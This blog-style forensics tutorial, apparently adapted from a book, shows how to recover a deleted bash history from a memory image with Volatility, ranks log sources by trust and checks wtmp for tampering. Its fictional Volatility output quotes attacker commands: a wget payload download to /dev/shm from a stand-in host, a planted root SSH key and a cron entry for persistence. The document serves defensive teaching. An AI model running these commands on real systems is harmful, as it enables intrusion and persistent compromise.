The scenario is fictional (RFC 5737 IPs). Volatility and auditd output come from the book and weren't run here. Follow evidence-handling procedures when acquiring memory.
Part 1 said the attacker emptied .bash_history; part 6 said history -c itself is recorded by auditd. There is one more place attackers forget.
What you'll learn
- Why shell history survives in RAM
- Reconstructing commands with
linux.bash - A trust ranking of records
- Detecting
wtmptampering
The story at a glance
02:20-02:40 root session; 02:40 history -c plus systemctl stop auditd; afterwards .bash_history is empty and auditd is blind, but a live bash process (PID 2411) is still in memory.
Why it survives
bash keeps history in process memory and writes the file on exit. Deleting the file or running history -c doesn't wipe the live process's memory.
vol -f web03_mem.lime linux.bash
PID 2411 bash wget http://198.51.100.5/x -O /dev/shm/.update
PID 2411 bash echo "ssh-ed25519 AAAA... attacker" >> /root/.ssh/authorized_keys
PID 2411 bash (echo '* * * * * /dev/shm/.update') | crontab -
The payload drop, the key and the cron entry we reconstructed from other traces, in the attacker's own words.
Trust ranking
| Record | Trust | Why |
|---|---|---|
.bash_history |
low | self-reported, easy to erase |
| auditd EXECVE | high | kernel-level, unless auditd is stopped |
| in-memory bash history | high | only while the process lives |
| off-host logs | highest | out of reach |
Memory is the most volatile evidence: acquire it before any reboot or kill.
Telling legitimate scripts apart
Legit: auid set, operations user, managed repository. Attack: auid unset, www-data, external C2, drop into /dev/shm.
Bonus: wtmp tampering
last -f /var/log/wtmp
lastb -f /var/log/btmp
utmpdump /var/log/wtmp | head # time going backwards, gaps, corrupt records = tampering
Cross-check with auth.log, journald and authorized_keys.
Next: detection rules should target what attackers can't change.
Adapted from chapter 30 of my Japanese book on server defense.
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